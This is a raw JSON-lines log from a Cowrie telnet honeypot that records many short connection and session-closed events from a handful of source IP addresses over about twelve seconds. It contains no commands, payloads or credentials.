{"eventid":"cowrie.session.closed","duration":30.93970489501953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:51.065139Z","src_ip":"69.6.225.50","session":"85dfb08b65b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938248872756958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:51.103503Z","src_ip":"69.6.225.50","session":"5f7536da8b0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54730,"dst_ip":"159.203.135.109","dst_port":23,"session":"831e0e20cb87","protocol":"telnet","message":"New connection: 69.6.225.50:54730 (159.203.135.109:23) [session: 831e0e20cb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:51.301241Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49802,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d836a4e72d7","protocol":"telnet","message":"New connection: 144.79.218.12:49802 (10.17.0.5:23) [session: 4d836a4e72d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:51.396183Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49810,"dst_ip":"10.17.0.5","dst_port":23,"session":"036a892e0197","protocol":"telnet","message":"New connection: 144.79.218.12:49810 (10.17.0.5:23) [session: 036a892e0197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:51.577115Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54750,"dst_ip":"159.203.135.109","dst_port":23,"session":"67f348279897","protocol":"telnet","message":"New connection: 69.6.225.50:54750 (159.203.135.109:23) [session: 67f348279897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:51.938950Z"}
{"eventid":"cowrie.session.closed","duration":30.32266068458557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:52.053058Z","src_ip":"69.6.225.50","session":"7a7586e06c47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80483889579773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:52.057321Z","src_ip":"69.6.225.50","session":"2481d24b1382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.443998336791992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:52.062882Z","src_ip":"69.6.225.50","session":"338a60c124c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.253015518188477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:52.075145Z","src_ip":"69.6.225.50","session":"1a26246d2bca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58042025566101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:52.094877Z","src_ip":"69.6.225.50","session":"036da8b0f025","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014915943145752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:52.164838Z","src_ip":"69.6.225.50","session":"bd99310b779b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053774118423462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:52.175274Z","src_ip":"69.6.225.50","session":"7884cb10becc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.7130286693573,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:52.287860Z","src_ip":"144.79.218.12","session":"4fb6c2650c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94915199279785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:53.058609Z","src_ip":"69.6.225.50","session":"f8a58ce559b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54760,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f7a46dd4e09","protocol":"telnet","message":"New connection: 69.6.225.50:54760 (159.203.135.109:23) [session: 1f7a46dd4e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:53.115673Z"}
{"eventid":"cowrie.session.closed","duration":30.593189239501953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:53.129319Z","src_ip":"69.6.225.50","session":"88b81586c21b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709550619125366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:53.135475Z","src_ip":"69.6.225.50","session":"00b258304272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916703462600708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:53.152741Z","src_ip":"69.6.225.50","session":"5019a5cd2cc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.99837899208069,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:53.438570Z","src_ip":"144.79.218.12","session":"97ec524157a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54764,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e84b9966674","protocol":"telnet","message":"New connection: 69.6.225.50:54764 (159.203.135.109:23) [session: 6e84b9966674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:54.009316Z"}
{"eventid":"cowrie.session.closed","duration":30.711833477020264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:54.055916Z","src_ip":"69.6.225.50","session":"29c8634e1d8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.396077156066895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:54.066924Z","src_ip":"69.6.225.50","session":"1c7c51051648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2281391620636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:54.085979Z","src_ip":"69.6.225.50","session":"579e5ac9eb97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54772,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c7c505a7da3","protocol":"telnet","message":"New connection: 69.6.225.50:54772 (159.203.135.109:23) [session: 5c7c505a7da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:54.392258Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54774,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f50141cdab5","protocol":"telnet","message":"New connection: 69.6.225.50:54774 (159.203.135.109:23) [session: 2f50141cdab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:54.522046Z"}
{"eventid":"cowrie.session.closed","duration":34.665817737579346,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:54.578797Z","src_ip":"144.79.218.12","session":"c7553fff47ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54782,"dst_ip":"159.203.135.109","dst_port":23,"session":"444fb49d0711","protocol":"telnet","message":"New connection: 69.6.225.50:54782 (159.203.135.109:23) [session: 444fb49d0711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:54.766940Z"}
{"eventid":"cowrie.session.closed","duration":30.700963735580444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:55.092862Z","src_ip":"69.6.225.50","session":"1b8aecfba71a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56087589263916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:55.113965Z","src_ip":"69.6.225.50","session":"55ca8d540c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40823745727539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:55.258879Z","src_ip":"69.6.225.50","session":"78c44b52eaa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":44858,"dst_ip":"159.203.135.109","dst_port":23,"session":"9183ebfe6c5f","protocol":"telnet","message":"New connection: 185.15.23.59:44858 (159.203.135.109:23) [session: 9183ebfe6c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:56.000786Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54790,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa3481def652","protocol":"telnet","message":"New connection: 69.6.225.50:54790 (159.203.135.109:23) [session: fa3481def652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:56.150263Z"}
{"eventid":"cowrie.session.closed","duration":31.023487091064453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:56.208086Z","src_ip":"69.6.225.50","session":"29339128a239","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.332451820373535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:56.287176Z","src_ip":"69.6.225.50","session":"0b5642990ba3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54804,"dst_ip":"159.203.135.109","dst_port":23,"session":"34ed218ef5f1","protocol":"telnet","message":"New connection: 69.6.225.50:54804 (159.203.135.109:23) [session: 34ed218ef5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:56.482521Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54816,"dst_ip":"159.203.135.109","dst_port":23,"session":"25799a36daeb","protocol":"telnet","message":"New connection: 69.6.225.50:54816 (159.203.135.109:23) [session: 25799a36daeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:56.554175Z"}
{"eventid":"cowrie.session.closed","duration":31.50403666496277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:56.580390Z","src_ip":"69.6.225.50","session":"42978111f464","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87586736679077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:57.046164Z","src_ip":"69.6.225.50","session":"da01208e2255","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59759211540222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:57.050561Z","src_ip":"69.6.225.50","session":"d9b545a9cd15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.584952354431152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:57.118946Z","src_ip":"69.6.225.50","session":"829d0bd88942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54820,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b5f2a2213ab","protocol":"telnet","message":"New connection: 69.6.225.50:54820 (159.203.135.109:23) [session: 3b5f2a2213ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:57.486999Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":54834,"dst_ip":"159.203.135.109","dst_port":23,"session":"bec582a7f277","protocol":"telnet","message":"New connection: 69.6.225.50:54834 (159.203.135.109:23) [session: bec582a7f277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:57.662195Z"}
{"eventid":"cowrie.session.closed","duration":30.872859239578247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:57.739195Z","src_ip":"69.6.225.50","session":"362887be8da3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51444149017334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:58.093230Z","src_ip":"69.6.225.50","session":"36dae4056f65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49826,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8767b3dc69e","protocol":"telnet","message":"New connection: 144.79.218.12:49826 (10.17.0.5:23) [session: f8767b3dc69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:58.225194Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49838,"dst_ip":"10.17.0.5","dst_port":23,"session":"3274fa4ae147","protocol":"telnet","message":"New connection: 144.79.218.12:49838 (10.17.0.5:23) [session: 3274fa4ae147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:58.280124Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40146,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f65b82747dd","protocol":"telnet","message":"New connection: 69.6.225.50:40146 (159.203.135.109:23) [session: 6f65b82747dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:58.610915Z"}
{"eventid":"cowrie.session.closed","duration":31.76780366897583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:58.873126Z","src_ip":"69.6.225.50","session":"68d599129c5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49844,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa953a81f6a0","protocol":"telnet","message":"New connection: 144.79.218.12:49844 (10.17.0.5:23) [session: aa953a81f6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:58.966540Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":49850,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2644cc9a81c","protocol":"telnet","message":"New connection: 144.79.218.12:49850 (10.17.0.5:23) [session: d2644cc9a81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:58.978135Z"}
{"eventid":"cowrie.session.closed","duration":30.486150979995728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:59.066401Z","src_ip":"69.6.225.50","session":"618ab847b26d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40154,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e216089b41e","protocol":"telnet","message":"New connection: 69.6.225.50:40154 (159.203.135.109:23) [session: 3e216089b41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:59.175593Z"}
{"eventid":"cowrie.session.closed","duration":30.641749620437622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:59.321717Z","src_ip":"69.6.225.50","session":"7abd8ff4df9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58250,"dst_ip":"10.17.0.5","dst_port":23,"session":"22352d4a3ab6","protocol":"telnet","message":"New connection: 144.79.218.12:58250 (10.17.0.5:23) [session: 22352d4a3ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:59.635625Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40156,"dst_ip":"159.203.135.109","dst_port":23,"session":"71ecc083e1bf","protocol":"telnet","message":"New connection: 69.6.225.50:40156 (159.203.135.109:23) [session: 71ecc083e1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:16:59.888445Z"}
{"eventid":"cowrie.session.closed","duration":30.244902849197388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:00.049578Z","src_ip":"69.6.225.50","session":"1deb9cca49ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87775468826294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:00.095145Z","src_ip":"69.6.225.50","session":"2560a5b3a3d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.733673810958862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:00.149754Z","src_ip":"69.6.225.50","session":"34f46aa1af73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40160,"dst_ip":"159.203.135.109","dst_port":23,"session":"20ee1b835a63","protocol":"telnet","message":"New connection: 69.6.225.50:40160 (159.203.135.109:23) [session: 20ee1b835a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:00.324394Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40162,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb81d2a3b62","protocol":"telnet","message":"New connection: 69.6.225.50:40162 (159.203.135.109:23) [session: dcb81d2a3b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:00.408944Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40176,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a6ba0f64ee","protocol":"telnet","message":"New connection: 69.6.225.50:40176 (159.203.135.109:23) [session: b7a6ba0f64ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:00.819390Z"}
{"eventid":"cowrie.session.closed","duration":30.401331663131714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:01.066695Z","src_ip":"69.6.225.50","session":"6c2f8dcc9c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5469012260437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:01.074875Z","src_ip":"69.6.225.50","session":"18e4c6e3f956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58262,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8cde116cc62","protocol":"telnet","message":"New connection: 144.79.218.12:58262 (10.17.0.5:23) [session: b8cde116cc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:01.203749Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58276,"dst_ip":"10.17.0.5","dst_port":23,"session":"617675b84e7f","protocol":"telnet","message":"New connection: 144.79.218.12:58276 (10.17.0.5:23) [session: 617675b84e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:01.284997Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40186,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dd3a53202e4","protocol":"telnet","message":"New connection: 69.6.225.50:40186 (159.203.135.109:23) [session: 5dd3a53202e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:01.389154Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40188,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed1a09f6d05","protocol":"telnet","message":"New connection: 69.6.225.50:40188 (159.203.135.109:23) [session: 6ed1a09f6d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:01.403878Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40190,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4698e6a3cc1","protocol":"telnet","message":"New connection: 69.6.225.50:40190 (159.203.135.109:23) [session: f4698e6a3cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:01.773601Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58288,"dst_ip":"10.17.0.5","dst_port":23,"session":"662c57f74d07","protocol":"telnet","message":"New connection: 144.79.218.12:58288 (10.17.0.5:23) [session: 662c57f74d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:01.913761Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40200,"dst_ip":"159.203.135.109","dst_port":23,"session":"18bbff25d66c","protocol":"telnet","message":"New connection: 69.6.225.50:40200 (159.203.135.109:23) [session: 18bbff25d66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:01.954000Z"}
{"eventid":"cowrie.session.closed","duration":30.846280574798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:02.064610Z","src_ip":"69.6.225.50","session":"ab1c48bc386b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40202,"dst_ip":"159.203.135.109","dst_port":23,"session":"1473aaf06030","protocol":"telnet","message":"New connection: 69.6.225.50:40202 (159.203.135.109:23) [session: 1473aaf06030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:02.303068Z"}
{"eventid":"cowrie.session.closed","duration":31.460151433944702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:02.412118Z","src_ip":"69.6.225.50","session":"05de6c69a725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40204,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e18993fb6de","protocol":"telnet","message":"New connection: 69.6.225.50:40204 (159.203.135.109:23) [session: 1e18993fb6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:02.633807Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40208,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb3dc2981099","protocol":"telnet","message":"New connection: 69.6.225.50:40208 (159.203.135.109:23) [session: cb3dc2981099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:02.818074Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40218,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac4db80efa89","protocol":"telnet","message":"New connection: 69.6.225.50:40218 (159.203.135.109:23) [session: ac4db80efa89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:02.842627Z"}
{"eventid":"cowrie.session.closed","duration":30.655736923217773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:03.114295Z","src_ip":"69.6.225.50","session":"bd751c882059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3807692527771,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:03.195853Z","src_ip":"69.6.225.50","session":"30501298831e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40224,"dst_ip":"159.203.135.109","dst_port":23,"session":"01825ed37e8b","protocol":"telnet","message":"New connection: 69.6.225.50:40224 (159.203.135.109:23) [session: 01825ed37e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:03.365094Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40232,"dst_ip":"159.203.135.109","dst_port":23,"session":"09a9a1c9a651","protocol":"telnet","message":"New connection: 69.6.225.50:40232 (159.203.135.109:23) [session: 09a9a1c9a651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:03.440030Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40236,"dst_ip":"159.203.135.109","dst_port":23,"session":"5db1981cf59e","protocol":"telnet","message":"New connection: 69.6.225.50:40236 (159.203.135.109:23) [session: 5db1981cf59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:17:03.581231Z"}
